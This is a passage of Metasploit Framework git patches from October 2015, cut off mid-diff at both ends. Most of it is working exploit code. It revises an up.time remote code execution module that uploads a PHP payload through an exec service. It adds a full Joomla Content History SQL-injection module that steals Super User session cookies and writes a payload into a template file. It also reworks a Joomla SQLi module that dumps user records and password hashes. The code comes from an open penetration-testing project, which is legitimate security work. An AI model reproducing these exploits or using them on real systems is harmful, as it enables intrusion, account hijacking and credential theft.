res.code == 200 && (res.body.include?('up.time 7.5.0') || res.body.include?('up.time 7.4.0')) + if res && res.code == 200 && (res.body.include?('up.time 7.5.0') || res.body.include?('up.time 7.4.0')) return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe @@ -76,21 +77,23 @@ class Metasploit4 < Msf::Exploit::Remote # #Check OS # phpfile_name = rand_text_alpha(10) - if !res_auth.nil? && res_auth.headers['Server'] =~ /Unix/ + if res_auth && res_auth.headers['Server'] =~ /Unix/ vprint_status('Found Linux installation - Setting appropriated PATH') phppath = '/usr/local/uptime/apache/bin/php' uploadpath = '/usr/local/uptime/GUI/wizards' - cmdargs = uploadpath + '/' + phpfile_name + '.txt' +## cmdargs = uploadpath + '/' + phpfile_name + '.txt' + cmdargs = "#{uploadpath}#{phpfile_name}.txt" cmd = phppath else vprint_status('Found Windows installation - Setting appropriated PATH') phppath = 'C:\\Program Files\\uptime software\\uptime\\apache\\php\\php.exe' - uploadpath = 'C:\\Program Files\\uptime software\\uptime\\GUI\\wizards' + uploadpath = 'C:\\Program Files\\uptime software\\uptime\\GUI\\wizards\\' cmd = 'c:\\windows\\system32\\cmd.exe' - cmdargs = '/K "' + '"' + phppath + '" ' + '"' + uploadpath + '\\' + phpfile_name + '.txt' + '"' + '"' +## cmdargs = '/K "' + '"' + phppath + '" ' + '"' + uploadpath + '\\' + phpfile_name + '.txt' + '"' + '"' + cmdargs = "/K \"\"#{phppath}\" \"#{uploadpath}#{phpfile_name}.txt\"\"" end - if !res_auth.nil? && res_auth.get_cookies =~ /login=true/ + if res_auth && res_auth.get_cookies =~ /login=true/ cookie = Regexp.last_match(1) cookie_split = res_auth.get_cookies.split(';') vprint_status("Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") @@ -119,7 +122,7 @@ class Metasploit4 < Msf::Exploit::Remote 'subsection' => 'edit', 'id' => "#{get_id}" }, - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_post' => { 'operation' => 'submit', 'disableEditOfUsernameRoleGroup' => 'false', @@ -152,7 +155,7 @@ class Metasploit4 < Msf::Exploit::Remote res_priv = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php?loggedout'), - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" + 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" ) res_auth = send_request_cgi( @@ -163,7 +166,7 @@ class Metasploit4 < Msf::Exploit::Remote 'password' => datastore['PASSWORD'] } ) - if !res_auth.nil? && res_auth.get_cookies =~ /login=true/ + if res_auth && res_auth.get_cookies =~ /login=true/ cookie = Regexp.last_match(1) cookie_split = res_auth.get_cookies.split(';') vprint_status("New Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") @@ -177,10 +180,10 @@ class Metasploit4 < Msf::Exploit::Remote res_service = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'main.php'), - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_get' => { 'section' => 'ERDCInstance', - 'subsection' => 'add' + 'subsection' => 'add', }, 'vars_post' => { 'initialERDCId' => '20', @@ -261,7 +264,7 @@ class Metasploit4 < Msf::Exploit::Remote end # CREATING Linux EXEC Service - if !res_auth.nil? && res_auth.headers['Server'] =~ /Unix/ + if res_auth && res_auth.headers['Server'] =~ /Unix/ vprint_status('Creating Linux Monitor Code exec...') create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs) @@ -277,7 +280,8 @@ class Metasploit4 < Msf::Exploit::Remote 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wizards', 'post2file.php'), 'vars_post' => { - 'file_name' => phpfile_name + '.txt', +## 'file_name' => phpfile_name + '.txt', + 'file_name' => "#{phpfile_name}.txt", 'script' => payload.encoded } ) @@ -288,7 +292,7 @@ class Metasploit4 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, 'wizards', "#{phpfile_name}.txt") ) - if !res_up_check.nil? && res_up_check.code == 200 + if res_up_check && res_up_check.code == 200 print_good("File found: #{phpfile_name}") else print_error('File not found') From 2828653f8fbd7d3ab393d93dc13f3e2346494717 Mon Sep 17 00:00:00 2001 From: "Ewerson Guimaraes (Crash)" Date: Fri, 23 Oct 2015 11:49:21 +0200 Subject: [PATCH 0962/2172] Update uptime_code_exec.rb --- modules/exploits/multi/http/uptime_code_exec.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/uptime_code_exec.rb b/modules/exploits/multi/http/uptime_code_exec.rb index b0fe4b0ce3..5cb9e675b5 100644 --- a/modules/exploits/multi/http/uptime_code_exec.rb +++ b/modules/exploits/multi/http/uptime_code_exec.rb @@ -18,7 +18,7 @@ class Metasploit4 < Msf::Exploit::Remote arbitrary commands through privilege escalation. }, 'License' => MSF_LICENSE, - 'Author' => + 'Author' => [ 'Ewerson Guimaraes(Crash) ', 'Gjoko Krstic(LiquidWorm) ' @@ -27,7 +27,7 @@ class Metasploit4 < Msf::Exploit::Remote [ ['EDB', '37888'] ], - 'Payload' => + 'Payload' => { 'Space' => 100_000, 'DisableNops' => true @@ -35,7 +35,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], - 'DefaultOptions' => + 'DefaultOptions' => { 'SSL' => false }, From f632dd8f679acb834c0cb25f24a6d0df53c6c5e0 Mon Sep 17 00:00:00 2001 From: xistence Date: Fri, 23 Oct 2015 17:25:44 +0700 Subject: [PATCH 0963/2172] Add Joomla Content History SQLi RCE exploit module --- .../webapp/joomla_contenthistory_sqli_rce.rb | 267 ++++++++++++++++++ 1 file changed, 267 insertions(+) create mode 100644 modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb diff --git a/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb b/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb new file mode 100644 index 0000000000..fa6e5d8723 --- /dev/null +++ b/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb @@ -0,0 +1,267 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Joomla Content History SQLi Remote Code Execution", + 'Description' => %q{ + This module exploits a SQL injection vulnerability found in Joomla versions + 3.2 up to 3.4.4. The vulnerability exists in the Content History administrator + component in the core of Joomla. Triggering the SQL injection makes it possible + to retrieve active Super User sessions. The cookie can be used to login to the + Joomla administrator backend. By creating a new template file containing our + payload, remote code execution is made possible. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Asaf Orpani', # Vulnerability discovery + 'xistence ' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2015-7857' ], # Admin session hijacking + [ 'CVE', '2015-7297' ], # SQLi + [ 'CVE', '2015-7857' ], # SQLi + [ 'CVE', '2015-7858' ], # SQLi + [ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/' ], + [ 'URL', 'http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html' ] + ], + 'Payload' => + { + 'DisableNops' => true, + # Arbitrary big number. The payload gets sent as POST data, so + # really it's unlimited + 'Space' => 262144, # 256k + }, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Joomla 3.x <= 3.4.4', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Oct 23 2015", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Joomla', '/']) + ], self.class) + + end + + def check + + # Request using a non-existing table + res = sqli(rand_text_alphanumeric(rand(10)+6)) + + if res && res.body =~ /`(.*)_ucm_history`/ + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + + end + + + def sqli( tableprefix ) + + # SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in). + # The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history. + # This way we make sure that's excluded and we only get real admin sessions. + + sql = " (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)" + + # Retrieve cookies + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "index.php"), + 'vars_get' => { + 'option' => 'com_contenthistory', + 'view' => 'history', + 'list[ordering]' => '', + 'item_id' => '1', + 'type_id' => '1', + 'list[select]' => sql + } + }) + + return res + + end + + + def exploit + + # Request using a non-existing table first, to retrieve the table prefix + res = sqli(rand_text_alphanumeric(rand(10)+6)) + + if res && res.code == 500 && res.body =~ /`(.*)_ucm_history`/ + table_prefix = $1 + print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]") + else + fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix") + end + + # Retrieve the admin session using our retrieved table prefix + res = sqli("#{table_prefix}_") + + if res && res.code == 500 && res.body =~ /Duplicate entry '([a-z0-9]+)' for key/ + auth_cookie_part = $1[0...-1] + print_status("#{peer} - Retrieved admin cookie [ #{auth_cookie_part} ]") + else + fail_with(Failure::Unknown, "#{peer}: No logged-in admin user found!") + end + + # Retrieve cookies + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "administrator", "index.php") + }) + + if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/ + cookie_begin = $1 + print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]") + else + fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie") + end + + # Modify cookie to authenticated admin + auth_cookie = cookie_begin + auth_cookie << "=" + auth_cookie << auth_cookie_part + auth_cookie << ";" + + # Authenticated session + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), + 'cookie' => auth_cookie + }) + + if res && res.code == 200 && res.body =~ /Administration - Control Panel/ + print_status("#{peer} - Successfully authenticated as Administrator") + else + fail_with(Failure::Unknown, "#{peer} - Session failure") + end + + + # Retrieve template view + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), + 'cookie' => auth_cookie, + 'vars_get' => { + 'option' => 'com_templates', + 'view' => 'templates' + } + }) + + # We try to retrieve and store the first template found + if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/ + template_id = $1 + file_id = $2 + else + fail_with(Failure::Unknown, "Unable to retrieve template") + end + + filename = rand_text_alphanumeric(rand(10)+6) + + # Create file + print_status("#{peer} - Creating file [ #{filename}.php ]") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), + 'cookie' => auth_cookie, + 'vars_get' => { + 'option' => 'com_templates', + 'task' => 'template.createFile', + 'id' => template_id, + 'file' => file_id, + }, + 'vars_post' => { + 'type' => 'php', + 'name' => filename + } + }) + + # Grab token + if res && res.code == 303 && res.headers['Location'] + location = res.headers['Location'] + print_status("#{peer} - Following redirect to [ #{location} ]") + res = send_request_cgi( + 'uri' => location, + 'method' => 'GET', + 'cookie' => auth_cookie + ) + + # Retrieving template token + if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/ + token = $1 + print_status("#{peer} - Token [ #{token} ] retrieved") + else + fail_with(Failure::Unknown, "#{peer} - Retrieving token failed") + end + + if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/ + template_path = $1 + print_status("#{peer} - Template path [ #{template_path} ] retrieved") + else + fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path") + end + + else + fail_with(Failure::Unknown, "#{peer} - Creating file failed") + end + + filename_base64 = Rex::Text.encode_base64("/#{filename}.php") + + # Inject payload data into file + print_status("#{peer} - Insert payload into file [ #{filename}.php ]") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), + 'cookie' => auth_cookie, + 'vars_get' => { + 'option' => 'com_templates', + 'view' => 'template', + 'id' => template_id, + 'file' => filename_base64, + }, + 'vars_post' => { + 'jform[source]' => payload.encoded, + 'task' => 'template.apply', + token => '1', + 'jform[extension_id]' => template_id, + 'jform[filename]' => "/#{filename}.php" + } + }) + + if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/ + print_status("#{peer} - Payload data inserted into [ #{filename}.php ]") + else + fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]") + end + + # Request payload + register_files_for_cleanup("#{filename}.php") + print_status("#{peer} - Executing payload") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"), + 'cookie' => auth_cookie + }) + + end + +end From 07d549d783f88a1e7d5bb60099224e8ed4672931 Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Fri, 23 Oct 2015 09:32:15 -0500 Subject: [PATCH 0964/2172] Update joomla_contenthistory_sqli.rb Remove sessions for now --- .../gather/joomla_contenthistory_sqli.rb | 117 +++++++++--------- 1 file changed, 56 insertions(+), 61 deletions(-) diff --git a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb index 53fa91370d..fd817ac541 100644 --- a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb +++ b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb @@ -58,69 +58,64 @@ class Metasploit4 < Msf::Auxiliary left_marker = Rex::Text.rand_text_alpha(5) right_marker = Rex::Text.rand_text_alpha(5) - if datastore['ACTION'] == 'HASHES' - db_count = "AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" - res = sqli(db_count) - db_count = $1.to_i || 0 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ + db_count = "AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + res = sqli(db_count) + db_count = $1.to_i || 0 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ - dbs = [] - 0.upto(db_count-1) do |i| - db = "AND (SELECT 2255 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" - - res = sqli(db) - dbs << $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ - end - - dbs.delete('performance_schema') - dbs.delete('information_schema') - dbs.delete('mysql') - - users = [] - dbs.each do |db| - - tables = [] - table_count = "AND (SELECT 8640 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x#{db.unpack("H*")[0]})),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" - res = sqli(table_count) - table_count = $1.to_i || 0 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ - - 0.upto(table_count-1) do |i| - table = "AND (SELECT 2474 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x#{db.unpack("H*")[0]}) LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" - res = sqli(table) - table = $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ - tables << table if table =~ /_users$/ - end - - tables.each do |table| - - user_count = "AND (SELECT 3737 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{db}.#{table}),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" - res = sqli(user_count) - user_count = $1.to_i if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ - cols = ["activation","block","email","id","lastResetTime","lastvisitDate","name","otep","otpKey","params","password","registerDate","requireReset","resetCount","sendEmail","username"] - - 0.upto(user_count-1) do |i| - user = {} - cols.each do |col| - k = 1 - val = nil - user[col] = '' - while val != '' - get_col = "AND (SELECT 7072 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(#{col} AS CHAR),0x20)),#{k},54) FROM #{db}.#{table} ORDER BY id LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" - res = sqli(get_col) - val = $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ - user[col] << val - k = k + 54 - end - end - users << user - end - end - end - p users.to_json - elsif datastore['ACTION'] == 'SESSIONS' - - else - fail_with(Failure::Unknown, "The ACTION " + datastore['ACTION'] + " is not supported.") + dbs = [] + 0.upto(db_count-1) do |i| + db = "AND (SELECT 2255 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + res = sqli(db) + dbs << $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ end + + dbs.delete('performance_schema') + dbs.delete('information_schema') + dbs.delete('mysql') + + users = [] + dbs.each do |db| + vprint_status("Found database: " + db) + tables = [] + table_count = "AND (SELECT 8640 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x#{db.unpack("H*")[0]})),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + res = sqli(table_count) + table_count = $1.to_i || 0 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ + + 0.upto(table_count-1) do |i| + table = "AND (SELECT 2474 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x#{db.unpack("H*")[0]}) LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + res = sqli(table) + table = $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ + tables << table if table =~ /_users$/ + end + + tables.each do |table| + vprint_status("Found table: " + table) + user_count = "AND (SELECT 3737 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{db}.#{table}),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + res = sqli(user_count) + user_count = $1.to_i if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ + cols = ["activation","block","email","id","lastResetTime","lastvisitDate","name","otep","otpKey","params","password","registerDate","requireReset","resetCount","sendEmail","username"] + + 0.upto(user_count-1) do |i| + user = {} + cols.each do |col| + k = 1 + val = nil + user[col] = '' + while val != '' + get_col = "AND (SELECT 7072 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(#{col} AS CHAR),0x20)),#{k},54) FROM #{db}.#{table} ORDER BY id LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + res = sqli(get_col) + val = $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ + user[col] << val + k = k + 54 + end + end + users << user + end + end + end + + path = store_loot('joomla.file', 'text/plain', datastore['RHOST'], users.to_json, 'joomla.users') + print_good("Users saved to file: " + path) end def sqli(payload) From 949a4c797be35efc2b813dc3f66adc067de6b020 Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Fri, 23 Oct 2015 09:33:12 -0500 Subject: [PATCH 0965/2172] Update joomla_contenthistory_sqli.rb --- modules/auxiliary/gather/joomla_contenthistory_sqli.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb index fd817ac541..1bc329a40f 100644 --- a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb +++ b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb @@ -33,8 +33,7 @@ class Metasploit4 < Msf::Auxiliary register_options( [ - OptString.new("TARGETURI", [true, 'The relative URI of the Joomla instance', '/']), - OptString.new('ACTION', [ true, 'Enumerate session IDs [SESSIONS] or password hashes [HASHES]','HASHES' ] ), + OptString.new("TARGETURI", [true, 'The relative URI of the Joomla instance', '/']) ], self.class) end From 84e870890040133dbd63074e42ebc527f7f0241e Mon Sep 17 00:00:00 2001 From: Louis Sato Date: Fri, 23 Oct 2015 11:07:17 -0500 Subject: [PATCH 0966/2172] bump mdm to 1.2.9 MS-120 * search scope for vulns now queries host name --- Gemfile.lock | 7 +++++-- metasploit-framework-db.gemspec | 2 +- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 17e3d82cc6..d6c2239f0b 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -25,7 +25,7 @@ PATH activerecord (>= 4.0.9, < 4.1.0) metasploit-credential (= 1.0.1) metasploit-framework (= 4.11.4) - metasploit_data_models (= 1.2.8) + metasploit_data_models (= 1.2.9) pg (>= 0.11) metasploit-framework-pcap (4.11.4) metasploit-framework (= 4.11.4) @@ -126,7 +126,7 @@ GEM activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) metasploit-payloads (1.0.15) - metasploit_data_models (1.2.8) + metasploit_data_models (1.2.9) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) arel-helpers @@ -251,3 +251,6 @@ DEPENDENCIES simplecov timecop yard + +BUNDLED WITH + 1.10.6 diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec index 716bc74740..c58aad66dc 100644 --- a/metasploit-framework-db.gemspec +++ b/metasploit-framework-db.gemspec @@ -31,7 +31,7 @@ Gem::Specification.new do |spec| # Metasploit::Credential database models spec.add_runtime_dependency 'metasploit-credential', '1.0.1' # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '1.2.8' + spec.add_runtime_dependency 'metasploit_data_models', '1.2.9' # depend on metasploit-framewrok as the optional gems are useless with the actual code spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" # Needed for module caching in Mdm::ModuleDetails From 6f02cedff8cb2ce844e773f93ca4e1de3b90cf0e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 23 Oct 2015 13:10:00 -0500 Subject: [PATCH 0967/2172] Move method create_exec_service --- .../exploits/multi/http/uptime_code_exec.rb | 178 +++++++++--------- 1 file changed, 88 insertions(+), 90 deletions(-) diff --git a/modules/exploits/multi/http/uptime_code_exec.rb b/modules/exploits/multi/http/uptime_code_exec.rb index 5cb9e675b5..b3ac14f82b 100644 --- a/modules/exploits/multi/http/uptime_code_exec.rb +++ b/modules/exploits/multi/http/uptime_code_exec.rb @@ -64,6 +64,94 @@ class Metasploit4 < Msf::Exploit::Remote Exploit::CheckCode::Safe end + def create_exec_service(*args) + cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs = *args + res_service = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'main.php'), + 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'vars_get' => { + 'section' => 'ERDCInstance', + 'subsection' => 'add', + }, + 'vars_post' => { + 'initialERDCId' => '20', + 'target' => '1', + 'targetType' => 'systemList', + 'systemList' => '1', + 'serviceGroupList' => '-10', + 'initialMode' => 'standard', + 'erdcName' => 'Exploit', + 'erdcInitialName' => '', + 'erdcDescription' => 'Exploit', + 'hostButton' => 'system', + 'erdc_id' => '20', + 'forceReload' => '0', + 'operation' => 'standard', + 'erdc_instance_id' => '', + 'label_[184]' => 'Script Name', + 'value_[184]' => cmd, + 'id_[184]' => 'process', + 'name_[process]' => '184', + 'units_[184]' => '', + 'guiBasic_[184]' => '1', + 'inputType_[184]' => 'GUIString', + 'screenOrder_[184]' => '1', + 'parmType_[184]' => '1', + 'label_[185]' => 'Arguments', + 'value_[185]' => cmdargs, + 'id_[185]' => 'args', + 'name_[args]' => '185', + 'units_[185]' => '', + 'guiBasic_[185]' => '1', + 'inputType_[185]' => 'GUIString', + 'screenOrder_[185]' => '2', + 'parmType_[185]' => '1', + 'label_[187]' => 'Output', + 'can_retain_[187]' => 'false', + 'comparisonWarn_[187]' => '-1', + 'comparison_[187]' => '-1', + 'id_[187]' => 'value_critical_output', + 'name_[output]' => '187', + 'units_[187]' => '', + 'guiBasic_[187]' => '1', + 'inputType_[187]' => 'GUIString', + 'screenOrder_[187]' => '4', + 'parmType_[187]' => '2', + 'label_[189]' => 'Response time', + 'can_retain_[189]' => 'false', + 'comparisonWarn_[189]' => '-1', + 'comparison_[189]' => '-1', + 'id_[189]' => 'value_critical_timer', + 'name_[timer]' => '189', + 'units_[189]' => 'ms', + 'guiBasic_[189]' => '0', + 'inputType_[189]' => 'GUIInteger', + 'screenOrder_[189]' => '6', + 'parmType_[189]' => '2', + 'timing_[erdc_instance_monitored]' => '1', + 'timing_[timeout]' => '60', + 'timing_[check_interval]' => '10', + 'timing_[recheck_interval]' => '1', + 'timing_[max_rechecks]' => '3', + 'alerting_[notification]' => '1', + 'alerting_[alert_interval]' => '120', + 'alerting_[alert_on_critical]' => '1', + 'alerting_[alert_on_warning]' => '1', + 'alerting_[alert_on_recovery]' => '1', + 'alerting_[alert_on_unknown]' => '1', + 'time_period_id' => '1', + 'pageFinish' => 'Finish', + 'pageContinue' => 'Continue...', + 'isWizard' => '1', + 'wizardPage' => '2', + 'wizardNumPages' => '2', + 'wizardTask' => 'pageFinish', + 'visitedPage[1]' => '1', + 'visitedPage[2]' => '1' + }) + end + def exploit vprint_status('Trying to login...') # #Application Login @@ -173,96 +261,6 @@ class Metasploit4 < Msf::Exploit::Remote print_good('Priv. Escalation success') end - # CREATING EXEC Service - - def create_exec_service(*args) - cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs = *args - res_service = send_request_cgi( - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'main.php'), - 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'vars_get' => { - 'section' => 'ERDCInstance', - 'subsection' => 'add', - }, - 'vars_post' => { - 'initialERDCId' => '20', - 'target' => '1', - 'targetType' => 'systemList', - 'systemList' => '1', - 'serviceGroupList' => '-10', - 'initialMode' => 'standard', - 'erdcName' => 'Exploit', - 'erdcInitialName' => '', - 'erdcDescription' => 'Exploit', - 'hostButton' => 'system', - 'erdc_id' => '20', - 'forceReload' => '0', - 'operation' => 'standard', - 'erdc_instance_id' => '', - 'label_[184]' => 'Script Name', - 'value_[184]' => cmd, - 'id_[184]' => 'process', - 'name_[process]' => '184', - 'units_[184]' => '', - 'guiBasic_[184]' => '1', - 'inputType_[184]' => 'GUIString', - 'screenOrder_[184]' => '1', - 'parmType_[184]' => '1', - 'label_[185]' => 'Arguments', - 'value_[185]' => cmdargs, - 'id_[185]' => 'args', - 'name_[args]' => '185', - 'units_[185]' => '', - 'guiBasic_[185]' => '1', - 'inputType_[185]' => 'GUIString', - 'screenOrder_[185]' => '2', - 'parmType_[185]' => '1', - 'label_[187]' => 'Output', - 'can_retain_[187]' => 'false', - 'comparisonWarn_[187]' => '-1', - 'comparison_[187]' 